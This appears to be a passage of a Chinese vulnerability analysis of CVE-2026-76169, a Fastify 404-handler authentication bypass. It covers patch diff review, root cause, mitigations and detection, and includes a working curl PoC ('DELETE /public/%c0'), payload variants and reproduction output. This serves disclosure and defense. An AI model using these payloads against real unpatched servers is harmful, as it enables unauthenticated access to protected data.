判定表的③还留着一道没验过的边。如果整个应用只在根实例上注册一个自定义 404 处理器,没有第二个插件,没有前缀竞争——只注册一个,会不会反而安全?答案是否定的。这一节用一组独立的最小实验,把这个边界确认清楚。实验不并入 25 项计数,应用换成最小形态:一条 GET / 业务路由,主路由器里只有 GET 树和自动暴露的 HEAD 树,条件①天然满足;根实例直接 setNotFoundHandler({ preHandler }, handler),preHandler 校验 Authorization: Bearer valid,处理器经 reply.send 返回字符串 global canary。攻击载荷 DELETE /anything/%c0,无凭证。

5.12.1 上的结果分三步。负对照先行:DELETE /anything/missing,路径可正常解码,返回 401,preHandler 正常运行——认证防线本身是好的,处理器也确实登记在根实例名下。然后发送攻击请求,DELETE /anything/%c0,返回 200 global canary,日志桩里只有 handler invoked 一行,preHandler 零输出,与 3.6 节的十五帧走查完全同构:共享指针的覆写(:127)根本不区分有没有第二个注册者,仅有的这一次注册照样写入该变量,而这一次写入使它同时成为最后注册者。机制最后核对一遍:全局处理器同样经 _setNotFoundHandler 进入 404 路由器的路由树,工厂期 basic404 的首次注册在 :166-169 以 / 与 /* 两条通配路由落树,根前缀的后续注册,也就是这里的全局处理器,经 :161-163 原位替换 context 内容。但这条携带 context 的路径只在可解码时可达;解码失败时,直调路径照样不经过 context。

这组实验还带出一个附加观察:return 返回值风格的处理器,在直调路径上会挂起。把处理器从 reply.send('global canary') 改成 return 'global canary',攻击请求的响应永不发送,连接挂起。机理出在返回值的交接环节。正常路径上,preHandlerCallbackInner 调用处理器后检查返回值,非 undefined 就替它执行 reply.send(result)(lib/handle-request.js:217-223);直调路径上,onRouteEvent 的最后一行 _routeEventHandler(request, reply)(:73)把返回值随手丢弃,没有任何环节接管发送。同一个绕过,在 reply.send 风格的处理器上表现为数据泄露,在 return 风格的处理器上表现为无响应挂起——一个轻量 DoS 效应。3.9 节的结论在这里再次得到印证:旁路路径没有带上正常路径的任何包装,连"替你发送返回值"这一层都没有。

5.12.2 上同场景再跑一遍:负对照 401 正常;攻击请求返回 400 FST_ERR_BAD_URL,任何处理器都不被调用。与表 D 第 25 行一致,fail-closed 对"全局唯一注册"的场景同样成立。

条件③的最终判据由此定下:存在自定义 not-found 处理器,且受保护者是最后注册的那个。只注册一个时,最后注册者就是它,条件自动满足;全局注册还是前缀注册不改变判据,只改变谁来当被直调的那个处理器。

3.13 补丁逐行:修复者选择了直接拒绝

2026-09-03,Matteo Collina 提交修复 commit 93c239a。对 lib/four-oh-four.js 的改动合计 +2/-21,外加两个测试文件。每一处都落在前面分析过的机制上。diff 全貌如下(两版本本地源码对照整理,注释块从略):

 function fourOhFour (options) {
   const { logger } = options
   const router = FindMyWay({
-    onBadUrl: createRouteEventHandler(),
-    onMaxParamLength: createRouteEventHandler(),
+    onBadUrl: options.routerOptions.onBadUrl,
+    onMaxParamLength: options.routerOptions.onMaxParamLength,
     defaultRoute: fourOhFourFallBack
   })
-  let _routeEventHandler = null
   ...
   function arrange404 (instance) {
     instance[kFourOhFourLevelInstance] = instance
     instance[kCanSetNotFoundHandler] = true
-    router.onBadUrl = router.onBadUrl.bind(instance)
-    router.onMaxParamLength = router.onMaxParamLength.bind(instance)
     router.defaultRoute = router.defaultRoute.bind(instance)
   }
   ...
-  function createRouteEventHandler () {
-    return function onRouteEvent (path, req, res) {
-      const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]
-      ...                                    ← 重建 Request/Reply 的 4 行
-      _routeEventHandler(request, reply)
-    }
-  }
   function setContext (instance, context) {
-    const _404Context = Object.assign({}, instance[kFourOhFourContext])
+    const _404Context = Object.create(instance[kFourOhFourContext])
     _404Context.onSend = context.onSend
     context[kFourOhFourContext] = _404Context
   }
   ...
     if (handler) {
       this[kFourOhFourLevelInstance][kCanSetNotFoundHandler] = false
       handler = handler.bind(this)
-      // update route event handler
-      _routeEventHandler = handler
     } else {
       handler = basic404
-      // update route event handler
-      _routeEventHandler = basic404
     }

把两个版本的差异全部归拢,一共四处:前三处构成 93c239a 的 +2/-21,第四处随 5.12.2 发布。按机制逐条看。

改动一是核心:onBadUrl 改接 options.routerOptions.onBadUrl。3.2 节已经看过,processOptions 在工厂里先执行(fastify.js:97),所以 fourOhFour 拿到的 options.routerOptions 早已组装完毕——用户配了自定义 onBadUrl 就用用户的,没配就用 fastify 默认守卫(fastify.js:645,400 FST_ERR_BAD_URL,或转交 frameworkErrors 钩子)。修复没有发明新守卫,它做的是让 404 路由器复用主路由器一直就有的守卫。复用之后,两个路由器对同一事件的处理完全一致:默认拒绝,用户显式接管则尊重用户。官方还专门加了回归测试 test/router-options.test.js:828,名字就叫 "Should honor routerOptions.onBadUrl when no method tree exists"。"方法无树、请求落入 404 路由器",恰恰是 5.12.1 上用户配置失效、被闭包覆盖的场景;修复之后,这个场景里用户的接管也被尊重了。

改动二是整体删除:_routeEventHandler 与 createRouteEventHandler 一并移除。不是置空,不是指向 basic404,是删掉。假如只把指针改指 basic404,泄露确实止得住——basic404 只回一段通用 404 JSON——但"绕过生命周期直调处理器"的结构原样留着,将来谁再往这个变量里写入其他函数,或者再往同类闭包上挂一个新事件,同样的漏洞就能再次出现。3.7 节已经见过 onMaxParamLength,那就是一个同类载体,只是碰巧不可达。删除共享状态,删除直调闭包,这条路径连同其全部行为一起消失。这才是根本修复。

改动三属于顺带清理:arrange404 删掉两行无效 bind。就是 3.5 节验证过的那两行死代码。defaultRoute 的 bind 保留,那是必要的,fourOhFourFallBack 真的需要实例引用解析 context。修复后的代码不再依赖"重绑能换 this"这一无效假设。

改动四是随 5.12.2 发布的配套加固,不在 93c239a 的 +2/-21 之内:setContext 从浅拷贝快照改为原型链。5.12.2 的注释把动机写得很清楚:404 context 的生命周期钩子要到 preReady 才装配,而路由注册侧的 setContext 快照(调用点 lib/route.js:408,同样在 preReady 时机)可能先于钩子装配执行。浅拷贝 Object.assign({}, ...) 得到的是一份还没有钩子的快照,此后装配进原 context 的钩子永远丢失;改成 Object.create(...) 之后,子 context 沿原型链读取,晚到的钩子照样可见。这是另一个潜在缺陷的修复,方向是"该执行的没执行",与本次"不该执行的执行了"方向相反。归属可以核对:两个版本之间本文件新增的行一共 10 行,代码只有 3 行,即两处事件处理器替换加一条 Object.create;另外 7 行是 Object.create 上方新增的注释块(diff 中从略)。而 93c239a 对本文件的统计是 +2。这处改动不出自该 commit,是随 5.12.2 发布的同文件变更,与安全修复同期发布。

修复带出一个必须写进发布说明级别的行为变化:畸形 URL 的响应,从"进入自定义 404 处理器(通常 404)"变成"400 FST_ERR_BAD_URL"。这不是副作用,是测试显式断言的目标行为。5.12.1 的旧测试 test/404s.test.js:1795 断言 GET /%c0 返回 404 Route GET:/%c0 not found,customized 404 场景返回 404 this was not found;5.12.2 的同名测试改为断言 400 FST_ERR_BAD_URL。依赖"自定义 404 页面覆盖畸形 URL"的应用,升级后会看到响应变化;确实需要自定义处理的应用,应改用 frameworkErrors 钩子或 routerOptions.onBadUrl,两者在修复版上对两个路由器一致生效。

修复的完整性经得起三个角度的检查。不配置任何选项时,畸形 URL 在两个路由器上都得到 400,任何应用处理器(包括全部 404 处理器)不被调用,这是默认路径上的 fail-closed——复现实测确认,patch 实例上表 D 第 25 行与 3.12.x 的 5.12.2 场景均符合。绕过空间也查得干净:唯一能让畸形 URL 进入用户代码的途径,是用户显式配置 routerOptions.onBadUrl 或 frameworkErrors,而这是文档化的、与主路由器一致的接管契约,拿到的也是裸 (path, req, res),不是带生命周期的 Request/Reply,不存在"配置了 X 结果意外走了旧路径"的组合。结构上,共享状态已删除,onRouteEvent 不复存在,"解码失败→直调处理器"这条边整体不存在了。

把官方的选择放进备选方案的行列里对照。设想另两条路。方案 A 是"让 onRouteEvent 走完整生命周期":用共享指针找到 context,再启动钩子链。不可行的原因有两处。共享指针指向的 handler 与其 context 的配对关系本就不存在,handler 被抄送时 context 装配还没发生;更根本的是,解码失败的路径连"属于哪个前缀"都不可判定(见下一段),没有可供启动生命周期的正确 context。方案 B 是"按原始路径的前缀重新匹配一次",拿未解码的路径做前缀判定。坑在于未解码路径不可信。/public/%2F..%2Fprivate 的 %2F 是保留编码,前缀段的语义身份在解码前是模糊的,任何基于原始串的前缀判定都能被构造歧义载荷。两个方案做的是同一件事:试图继续处理一条本应直接拒绝的请求。官方的方案 C(实际采用)思路相反:畸形 URL 是客户端错误,错误请求不应进入应用处理器,直接拒绝。这在安全设计上叫 fail-closed,与主路由器既有行为对齐,还顺带消灭了一整类"畸形 URL + 分发"的组合问题。

3.14 根因收束:三个决策的组合

把全程压缩成最短的因果链:漏洞需要三个决策同时存在。3.1 节按请求时间线切出的三个环节(解码失败 → 前缀信息丢失 → 共享指针接管),落到代码侧,根源正是这三个决策。

决策一,共享可变指针充当分发器(3.4 节)。let _routeEventHandler 把 N 个前缀作用域的处理器折叠进一个共享变量,折叠规则是"最后注册者胜出"——一条与前缀语义无关、与调用者身份无关的规则。封装体系全部的精密记录(instance → context → hooks),在异常路径上被一个变量取代。

决策二,异常路径直调,绕过生命周期(3.9 节)。onRouteEvent 重建 Request/Reply 之后直接调用处理器,不启动任何钩子运行器。安全机制建立在流水线上,这条路径不经过流水线。连全局 onRequest 都拦不住:钩子"保存在 context 中等待执行",而这条路没有"执行钩子"这个动作。

决策三,解码先于身份(3.7 节)。find-my-way 在树匹配之前解码路径,解码失败即丢弃全部路径身份。等到分发异常请求、最需要前缀判定材料的那一刻,材料已经不存在了。这从结构上排除了"把异常请求送回正确作用域"的任何修复尝试,也解释了为什么唯一正确的修复是拒绝而不是重新分发。

三个决策各自都有当时的合理性。指针是为了让 onBadUrl"有个处理器可调";直调是因为 onBadUrl 的接口签名里没有 context,重建是最省事的做法;解码先行是为了让注册路径与请求路径在同一个形态空间里比较。单独看,每一个都是实现细节;叠起来,构成一条完整的越权路径。这类逻辑漏洞的典型形态正在于此:没有一行代码"错"得明显,错的是组合。修复 commit 的三处删除之所以显得干净,是因为作者认出了问题的结构性根源——共享状态加直调——而不是试图修补某一个环节。

还有一条时间维度的注脚。这三个决策至少从 v4.0.0 起就在代码库里,那是官方影响区间的起点;历经 4.x、5.x 两个大版本,无人察觉。它不是最近引入的回归,而是一直存在的老结构,随着"自定义 not-found 处理器 + 钩子认证"这种用法普及,逐渐获得攻击面。3.12.x 补充实验表明,全局唯一注册同样在攻击面之内。这类漏洞给代码审计的启示,留到第 6 部分延伸思考里展开。

三个决策各留一行代码锚点,便于复查与迁移到其他版本比对:

决策

引入位置(v5.12.1)

修复处置(v5.12.2)

共享指针折叠多前缀处理器

lib/four-oh-four.js:41 声明,:127/:131 覆写

变量与两处赋值整体删除

异常路径直调、绕过生命周期

:37-38 事件挂闭包,:65-75 onRouteEvent,:73 SINK

闭包整体删除,事件改接 routerOptions.onBadUrl(:37-38)

解码先于身份识别

find-my-way index.js:586-593:解码失败即 _onBadUrl,不进树匹配

不改路由库;靠上游 fail-closed 让"身份丢失"不再可被利用

第三行特意标注"不改路由库"。解码先行的顺序在修复后原样保留,它本身是合理设计;变化的是"身份丢失之后允许发生什么"。5.12.1 允许发生一次不受约束的分发,5.12.2 只允许发生一次拒绝。同一份路由器代码,两个版本的差异全部落在宿主如何使用这些出口上。评估依赖库漏洞时,这是一个用得上的视角:有时候根因不在于库的行为,而在于宿主把库的哪个出口接入了安全边界。

4. 漏洞利用与触发分析

4.1 POC 构造思路:每个字段都在满足一个条件

完整的攻击就这一行:

curl -i -X DELETE --path-as-is 'http://target/public/%c0'

一行命令,五个成分。

DELETE 在这条命令里,是为了满足触发条件①:方法必须避开主路由器已注册的方法集合。复现应用只注册了 GET/HEAD,可选的余地不小——DELETE、OPTIONS、PUT、PATCH 这一长串都在名单上;换成真实目标,攻击者会先做一轮方法枚举,OPTIONS 探测,或者挨个直接试。挑 DELETE 而不是更冷门的方法,理由很实际:这个方法在任何 REST 服务里都平平无奇,几乎不会触发对方的方法白名单告警。反面也被 3.12 节表 B 验证过,主路由器有树的方法(GET/HEAD)会被自家 400 守卫拦下,攻击失效。

前缀 /public 是伪装,不是必需。3.12 节表 C 证明,/private/%c0、/%c0、甚至从未注册过的前缀,同样触发。它出现在这里纯是为了隐蔽:让畸形请求混入公共区域的正常 404 流量,在目标日志里不那么显眼。

真正起作用的是载荷。%c0,满足触发条件②的标准载荷——一个非法 UTF-8 引导字节的编码,三字节,%c0 在路径里就是三个字符,decodeURI 见到它就抛异常。变体任选,%zz、%e0%80、大写 %C0 都行,截断的 %c 与结尾孤立的单个 % 甚至更短(表 A 第 4、5 行),黑名单式的特征拦截对这串变体无效。唯一的位置约束是必须落在路径段内,不能挪到 ? 之后(表 C 第 22 行)。

命令里没有 Authorization 头。带上凭证发送同样触发,处理器反正被直调,凭证在这一步不起作用;但不带凭证才是攻击主张:认证钩子被整体跳过,响应内容与凭证无关。无 Authorization 头,证明的是绕过本身。

--path-as-is 管的是客户端自己这一侧:把"客户端改写请求行"这个变量整个排除,对含 ../ 的路径变体和旧版客户端是实质必需(Python/Go 的原生 HTTP 客户端默认不改动 request-target,不受影响)。curl 对载荷本身的改写只剩大小写归一,不影响畸形性,口径见 2.2 节。

盘点下来,五个成分里对应服务端判定的只有两条:方法与载荷,分别落在判定表的条件①、②上。这也是攻击者仅能控制的两条,③④由应用架构决定(见 4.2 节),攻击构造本质上就是这两条的逆向工程。剩下的成分都不对应服务端条件——前缀是伪装,flag 是客户端操作规范;至于凭证,在与不在,处理器都会被直调,不带凭证不是触发前提,而是攻击主张本身。

4.2 前置条件与真实可达性

攻击者一侧的条件几乎为零:网络可达,无需凭证,无需用户交互,单请求完成,无状态、可重放、可批量。真正的门槛全在应用一侧。以下三条同时满足,漏洞才有实际命中面:

  1. 存在自定义 not-found 处理器,且受保护者是最后注册的那个——受保护前缀下注册或根实例全局注册均可,只注册一个时该条件自动满足(3.12.x 补充实验:仅全局注册一个,同样被直调);多个处理器竞争时,注册顺序决定谁被直调(3.12 节实验 24:顺序互换则泄露消失);
  2. 受保护 404 处理器返回的东西有价值(官方通告的原话:"私有或多租户 fallback 从 not-found handler 返回受保护数据");
  3. 认证/授权逻辑依赖生命周期钩子(preHandler 等)或依赖"处理器被调用即意味着已认证"的隐含假设。

第 2、3 条指向同一类应用形态:把 404 处理器当业务接口用的服务。多租户 SaaS 的"未知租户路由"处理器(查库、返回租户信息),管理面板插件的兜底路由(读取内部配置拼 404 页),GraphQL/RPC 网关的 fallback(把未匹配路径转发给上游),都是典型。凡是"404 页面里有数据"的设计,都可以拿这三条自查一遍。

有一项缓解被官方明确指出无效:根实例上全局 addHook('onRequest', auth),拦不住这条路径。3.9 节讲过机理——钩子保存在 context 中等待执行,而这条路没有"执行钩子"的动作。同理,任何挂在请求阶段(onRequest、preParsing、preValidation、preHandler)的审计、限流、WAF-inserted-header 检查都会被跳过。被旁路的不只是认证,是请求侧整条中间件链。响应侧要分开看:preSerialization/onSend 仍由 reply.send 的内部机制驱动,是否执行取决于直调时解析到的 404 context 装配了什么;onResponse 依赖的响应监听器只在 routeHandler 里挂设,在这条路径上同样不会执行(见 3.6 节第 15 帧)。

4.3 利用链与能力边界

这不是内存破坏漏洞。没有"控制流劫持"意义上的利用链,ASLR、NX、沙箱这些防御在这个场景里根本用不上。它的利用链只有一跳:畸形 URL → 共享指针 → 处理器执行。攻击者得到的,是该处理器对一份完全由他控制的请求(方法、路径、头、体)的正常执行结果。

能力面因此由处理器的能力决定。处理器若返回敏感数据(数据库查询、内部配置、租户信息),攻击者直接读取,这是 CVSS 里 C:H 的来源。处理器若执行写操作,比如某些应用的 404 处理器会顺手创建短链、记录访问、触发查询,攻击者就能以未认证身份驱动这些副作用——写入型副作用是否存在、影响多大,取决于具体处理器,属条件性的二阶影响,不在官方评分的计量范围内。

拿不到的也清楚:其他前缀处理器的执行权——共享指针只保存一个函数引用,且始终是最后注册的那一个;主路由器上正常路由的执行权;框架进程内的代码执行权。3.12.x 补充实验还给这条能力边界添了一条注脚:return 返回值风格的处理器被直调时,返回值无人接管,响应永不发送,连接挂起。同一条路径,对 reply.send 风格的处理器是数据泄露,对 return 风格的处理器是无响应挂起。

还有一个容易被低估的攻击面细节:被调用的处理器看到的 request,是用根实例的 404 context 构造的(3.6 节第 10 帧)。前缀插件场景下,那是 basic404 的空 context;根级全局注册场景下,则是该处理器自己的 context,但其钩子同样不会被直调路径执行。若处理器内部访问 request.server 上的装饰器,或依赖 context 上的配置(序列化器、错误处理器、body 解析器配置),行为可能与正常调用时不同。这是一个潜在的二次 bug 来源,也是指纹识别的素材:通过响应差异判断框架版本。

4.4 动态证据:三个"断点"上的运行时观察

三个运行时观察,各自证实了一个结论。

断点一在计数器差分上。3.12 节表 A–C 的 25 项实验(编码 × 方法 × 前缀变体)完成后,vulnerable 实例的计数器状态:

{"publicHandlerCalls":3,"privatePreHandlerCalls":0,"privateHandlerCalls":20}

私有处理器执行 20 次,认证钩子执行 0 次。同一个进程、同一组注册、同一段认证代码——20:0,没有比这更干净的量化证据。这组数字还能与 3.12 节的矩阵逐项核对:20 次 canary(表 A 8 次、表 B 6 次、表 C 6 次)与 privateHandlerCalls:20 完全吻合,3 次负对照(表 A 第 8、9 行,表 C 第 22 行,均经 public 处理器的完整生命周期)与 publicHandlerCalls:3 一一对应,其余 3 次(GET/HEAD/FROBNICATE)被 400 拒绝、不触发任何处理器。计数器与矩阵,逐项一致。3.12.x 补充实验不计入这组计数,它用的是独立最小应用,没有这份计数器。对照 patched 实例(5.1 实录):畸形攻击请求得到 400,计数器较攻击前零变化,任何 404 处理器都未被调用,畸形载荷零泄露。

断点二看日志。同一个 reqId 下,正常授权请求(req-3)有完整四行(incoming request → preHandler invoked → handler invoked → request completed),攻击请求(req-5)只有一行 handler invoked:

req-3: incoming request / private preHandler invoked / handler invoked / request completed   ← 四行
req-5: handler invoked                                                                        ← 一行

"incoming request" 由 routeHandler 记录,"request completed" 由响应监听器记录,preHandler 日志由钩子本身记录。三者同时缺失,分别对应 3.9 节流水线上三个未被经过的阶段。

断点三落在 bind 语义实验上,this 确实固定在根实例。3.5 节的三行 node -e 实验,模拟"根实例首次 bind → 两个插件依次再 bind"的完整序列,输出 最终 this = ROOT。这是 onRouteEvent 里 this[kFourOhFourLevelInstance][kFourOhFourContext] 恒解析到根实例 404 context(复现应用里即 basic404 的空 context)的直接验证,也是 3.6 节第 10 帧"空 context"论断的语言层依据。

三个断点合起来,把第 3 部分的静态推理验证成了动态事实。

5. 复现过程

复现环境:macOS(darwin 25.5.0, arm64),Docker 29.8.1,镜像 node:22-alpine(容器内 Node v22.23.3),复现目录为项目内 reproduce/。本部分的终端实录截图均摄于这套环境的容器内会话(提示符 container:)。

5.1 启动与攻击

命令只有五行:

cd reproduce
docker compose up -d --build     # 构建并启动两个实例
sleep 3
curl -s http://127.0.0.1:3000/   # 健康检查 → {"app":"CVE-2026-76169 Fastify demo","fastifyVersion":"5.12.1",...}
curl -s http://127.0.0.1:3001/   # 同上,"fastifyVersion":"5.12.2"

./poc.sh 对两个实例各跑五步:健康检查、无凭证对照、带凭证对照、攻击前计数器快照、攻击与攻击后快照。实际执行输出如下:

### 目标: vulnerable (fastify 5.12.1, 受影响)  (http://127.0.0.1:3000)
[0] GET /                       -> HTTP 200  {"app":"CVE-2026-76169 Fastify demo","fastifyVersion":"5.12.1",...}
[1] DELETE /private/missing (无凭证) -> HTTP 401  unauthorized      ← 认证正常生效
[2] DELETE /private/missing (Bearer valid) -> HTTP 200  private canary  ← 授权访问正常
[3] 攻击前计数器: {"publicHandlerCalls":0,"privatePreHandlerCalls":2,"privateHandlerCalls":1}
[4] >>> 攻击请求: DELETE /public/%c0   (无 Authorization 头)
    HTTP 200
    Body: private canary                                          ← 未认证拿到受保护数据
[5] 攻击后计数器: {"publicHandlerCalls":0,"privatePreHandlerCalls":2,"privateHandlerCalls":2}
                                     ← privateHandlerCalls +1 而 privatePreHandlerCalls 不变

### 目标: patched (fastify 5.12.2, 已修复)  (http://127.0.0.1:3001)
[4] >>> 攻击请求: DELETE /public/%c0   (无 Authorization 头)
    HTTP 400
    Body: {"error":"Bad Request","code":"FST_ERR_BAD_URL",
           "message":"'/public/%C0' is not a valid url component","statusCode":400}
[5] 攻击后计数器: {"publicHandlerCalls":0,"privatePreHandlerCalls":2,"privateHandlerCalls":1}
                                     ← 计数器无变化,任何 404 处理器均未被调用

最终判定: CVE-2026-76169 复现成功(受影响版本泄露 / 修复版本拦截),poc 退出码 0

复跑核验一致:docker compose restart 重置计数器后重跑 ./poc.sh,退出码、[0]–[5] 各步状态码与计数器增量逐项相同。

攻击请求在容器日志里留下的,正是 4.4 节断点二引用的那条原文:

$ docker logs cve-2026-76169-vulnerable 2>&1 | grep '"reqId":"req-5"'
{"level":40,...,"reqId":"req-5","msg":"!!! private canary handler invoked (raw url: /public/%C0)"}

只有一行。incoming request 没有,preHandler 没有,request completed 也没有。日志四行缺了三行——断点二引用的就是这条记录。

这里有两处容易误判。

一处是 reqId。docker logs 跨 restart 累积,reqId 却从进程启动起重新计数,跑 PoC 之前若先对 3000 端口发过健康检查,攻击就会落在 req-6 而非 req-5。上面的实录对应"容器启动后直跑 PoC"的干净序列,grep 时认那条 private canary handler invoked 为准。

另一处在计数器。它是内存态,重跑任何 PoC 或实验之前先 docker compose restart 重置,才能与实录"全零起步"的计数器初值可比。

5.2 手动验证与边界矩阵

脱开脚本,单发攻击与负对照,一共四条命令:

curl -i -X DELETE --path-as-is 'http://127.0.0.1:3000/public/%c0'   # 200 private canary(泄露)
curl -i -X DELETE --path-as-is 'http://127.0.0.1:3000/public/%41'   # 404 public not found(合法编码,正常路径)
curl -i -X GET    --path-as-is 'http://127.0.0.1:3000/public/%c0'   # 400 FST_ERR_BAD_URL(主路由器守卫)
curl -i -X DELETE --path-as-is 'http://127.0.0.1:3001/public/%c0'   # 400 FST_ERR_BAD_URL(修复版)

这四条只是入口。完整的 25 项边界矩阵(编码 × 方法 × 前缀 × 顺序互换)见 3.12 节,全部可按表复跑。其中要多做一步的是注册顺序互换实验:复制 app/server.js,交换两个 fastify.register(...) 块,再起一个临时容器,把换过的文件挂进去——

docker run -d --name swap-test -p 127.0.0.1:3002:3000 -v /path/to/swapped-server.js:/app/server.js cve-2026-76169:vulnerable

同一组载荷发送过去,canary 零泄露。

5.3 踩坑记录

踩过的坑集中在五处,从请求行一路到容器清理:

  • 复现不成功,先核对你真的发出去的请求行,再怀疑别的。容器内 curl 8.22 的实测(口径见 2.2)有点反直觉:对 %c0 这类载荷,加不加 --path-as-is 都会照发不误——curl 对它的唯一改写是把十六进制位归一成大写(下方 nc 抓包实录),畸形性保留,攻击照常成功——"不加 flag 载荷被规范化所以拿到 404"的说法并不成立。这个 flag 真正防止的是另两类隐蔽偏差:一类是含字面 ../ 的路径变体,curl 默认把 /public/../private/%c0 折叠成 /private/%c0 再发出,打出去的已不是你写下的载荷;另一类是旧版或会改写路径的客户端。所以排查顺序固定:先挂一个原始监听器(如 nc -l)把请求行抓出来核对,再怀疑服务端。结论也不变——建议一律带 --path-as-is,把"客户端改写请求行"这个变量整个排除。
  • 版本别拿 instance.version 验。5.12.2 官方包的 fastify.js 里硬编码着 const VERSION = '5.12.1'(发布疏漏),照这条读,版本就是错的。要看容器内的真实版本,用 docker exec cve-2026-76169-patched sh -c 'grep "\"version\"" /app/node_modules/fastify/package.json' 直接查 package.json。
  • inject() 有到不了的地方。官方回归测试用 fastify.inject() 断言 400 与计数器,结论与真实 HTTP 栈一致,绝大多数验证可以这么做;但涉及 Node 解析器的负对照——自定义方法 FROBNICATE 被解析层拒绝——不经过真实 socket。实测 inject() 在 light-my-request 的方法校验层就直接拒绝 FROBNICATE,抛 must be equal to one of the allowed values,连应用都到不了。这类现象只能在真实端口上复现。
  • 端口占用。两个容器分别映射 127.0.0.1:3000/3001,若本机已有服务在听这两个口,改 docker-compose.yml 的映射即可。
  • 顺序互换实验复跑完记得清理(docker stop swap-test),否则残留容器会占端口。

上述核查对应的实录:

6. 修复、检测与总结

6.1 补丁分析:根本修复,并同版修复另一处缺陷

补丁本身,3.13 节逐行拆过,结论收拢成一句:删除共享状态与直调闭包,把 404 路由器的畸形 URL 出口接到主路由器既有的 fail-closed 守卫上。这是根本修复——拆掉的是"绕过生命周期分发处理器"这个结构,而不是给某个指针换一个更安全的指向。5.12.2 还随版本发布了一处配套加固:setContext 的浅拷贝快照改成原型链,Object.assign({}, ...) 复制快照,变为 Object.create(...) 沿原型链读取。它在 93c239a 的 +2/-21 之外(见 3.13 改动四),修掉的是一个方向相反的潜在缺陷:该执行的钩子,因快照时机而丢失。

升级有两处要留心。一处是版本:v4 线没有补丁版本,必须升到 5.12.2+;这个版本同时修复另外三个 GHSA,收益不止本漏洞一处。另一处是行为变化:畸形 URL 的处理结果,从"进入自定义 404 处理器(通常 404)"变为"400 FST_ERR_BAD_URL"。依赖自定义 404 页覆盖畸形路径的应用,升级前应确认这一变化可以接受;确实需要自定义处理的,改用 frameworkErrors 钩子 / routerOptions.onBadUrl 接管。

6.2 无法立即升级时的缓解

一时升不上去的,能做的缓解有四条,按有效性从高到低。

  1. 上游语法级拒绝(厂商建议)。在反向代理/网关(nginx、Envoy、云 WAF)拒绝路径中含非法百分号编码的请求。判定要做在语法层:百分号后必须跟两个合法十六进制字符,解码必须产出合法 UTF-8——不要拿 %c0 去拉特征黑名单,变体空间见 3.12 节表 A。
  2. 方法白名单。代理层只放行业务使用的方法。它对"主路由器无该方法树"这一触发条件是整段关闭,且是很多网关的默认配置。但要认识到它是缓解:白名单一旦为业务放宽、而应用并未为该方法注册主路由器路由(如为 CORS 放开 OPTIONS),条件重新打开。
  3. 架构自查,立即做,零成本。全局搜 setNotFoundHandler,确认没有处理器返回受保护数据——厂商建议临时缓解的另一半,正是不依赖 not-found handler 提供受保护数据。受保护前缀下或根实例全局注册的兜底处理器如果存在,把认证从钩子挪到处理器函数体首行;直调也绕不过函数体内的检查。
  4. 第四条与前三个动作方向相反,不新增防线,只拆除两个依赖:onRequest 全局钩子,和"处理器被调用即已认证"的假设。前者已被证明无效(3.9 节),后者正是本漏洞摧毁的那个假设。

6.3 检测:是否已被利用

翻日志的人有三个特征可查,可信度依次递减。

  1. reqId 日志残缺。同一个 reqId 名下出现了处理器日志,却没有 "incoming request" 记录;直调路径上 "request completed" 同样不会出现——它只挂在正常分发路径的响应监听器上,5.1 实录里攻击请求仅有一行日志。这是本漏洞最特异的指纹,正常请求的四行结构见 4.4 节。这个特征观测起来不难:受保护处理器自身有日志输出即可(复现应用的 warn 日志即是),fastify 默认 logger 的 reqId 关联无需改造。
  2. 畸形 URL 得到非 400 响应。% 后跟非法十六进制/非法 UTF-8 序列的路径,响应码不是 400。升级后的基线是一律 400 FST_ERR_BAD_URL。对照检查:grep 访问日志中含 % 的路径,再看响应码分布。
  3. 方法维度的异常。大量 DELETE/OPTIONS/PUT 打在不存在的路径上且拿到 200——不存在的路径本不该返回 200;若网关配置了方法白名单,本应 405 的请求拿到应用响应,是同一信号(404 则与正常 not-found 流量无法区分)。这一条特异度低,结合前两条使用。

这三条特征也能反着用:升级后拿 DELETE /%c0 期望 400,可以当作部署的冒烟测试——一行 curl,确认补丁生效。

6.4 延伸思考

复盘本文的分析路径,产出漏洞认知的核心是一个审计问题:"框架里所有不经过 routeHandler 而构造 Request/Reply 的代码位置,它们的 context 从哪来?"拿这个问题穷举 fastify 5.12.1,答案归并为三处。onRouteEvent,本漏洞就在这里;fourOhFourFallBack,404 兜底,只回固定 404,安全;第三处在 fastify.js 的 frameworkErrors 分支——onBadUrl、onMaxParamLength 与异步约束错误回调三个错误出口把 Request/Reply 交给用户注册的错误钩子,那是文档化的用户契约,用户拿到的是错误处理语境,不是正常分发。三处里漏了一处,而只有它,绕过了钩子。这个问题可以模板化:"列举组件中所有旁路主分发路径的出口,逐个检查随行状态与钩子语义"——搬到任何有中间件/钩子流水线的框架上都成立。

本漏洞的两个成因,"共享可变状态充当分发器"与"异常/性能快捷路径绕过安全流水线",都不是 fastify 独有。前者是 JavaScript 生态的常见反模式:闭包变量在多实例场景下被默认为单例,而 fastify 的封装体系恰恰制造了"逻辑上多实例、物理上单模块"的错位。后者是所有高性能框架的共同问题:为异常路径、OPTIONS 预检、HEAD 回退、连接层错误设置的旁路路径,每一条都是流水线的旁路,也都有一个共同未回答的问题——旁路上是否仍执行安全语义。fastify 这次的问题出在 onBadUrl 上;下一个组件,可能出在 clientError,出在协议升级,出在任何一个"反正不是正常请求"的出口上。审计清单里应当有一栏,专门收集这些出口。

认证放在钩子里,安全性就落在"所有到达处理器的路径都经过钩子"这个不变量上;框架的旁路路径越多,这个不变量越脆。3.12.x 补充实验还排除了"结构越简越安全"的侥幸:仅全局注册一个 404 处理器的最小应用,处理器照样被直调——不变量的脆弱性与架构繁简无关。更稳的层级是三层。代理层做语法合法性,拒绝畸形;框架层做路由与生命周期;处理器函数体做自己数据的最后一道检查,这一道,任何路径都绕不过。本漏洞里三层缺了两层,修复补上了框架层;第一层和第三层,放在任何架构下都应当默认存在。

最后回到那个 path 参数。3.6 节第 10 帧提过一个细节:onRouteEvent(path, req, res) 收到畸形路径字符串,却从头到尾没有使用它。这个未使用的参数集中体现了整个漏洞:分发函数拿到了本可用于判定请求归属的信息,而它的实现选择忽略信息、直接调用共享指针。修复删掉这个函数之后,5.12.2 的守卫反而会把收到的那个字符串回显给攻击者:'/public/%C0' is not a valid url component(原始 socket 直发 %c0 时,回显的就是 %c0)。信息没有被丢弃,只是换了用法:从"分发依据"变成了"拒绝理由"。安全设计里大量决策都可以归约到这一步之差——拿到无法验证的输入时,用它来分发,还是用它来拒绝。CVE-2026-76169 以横跨两个大版本的存在时间和一次 7.5 分,给这个问题补了一个代价高昂的实例。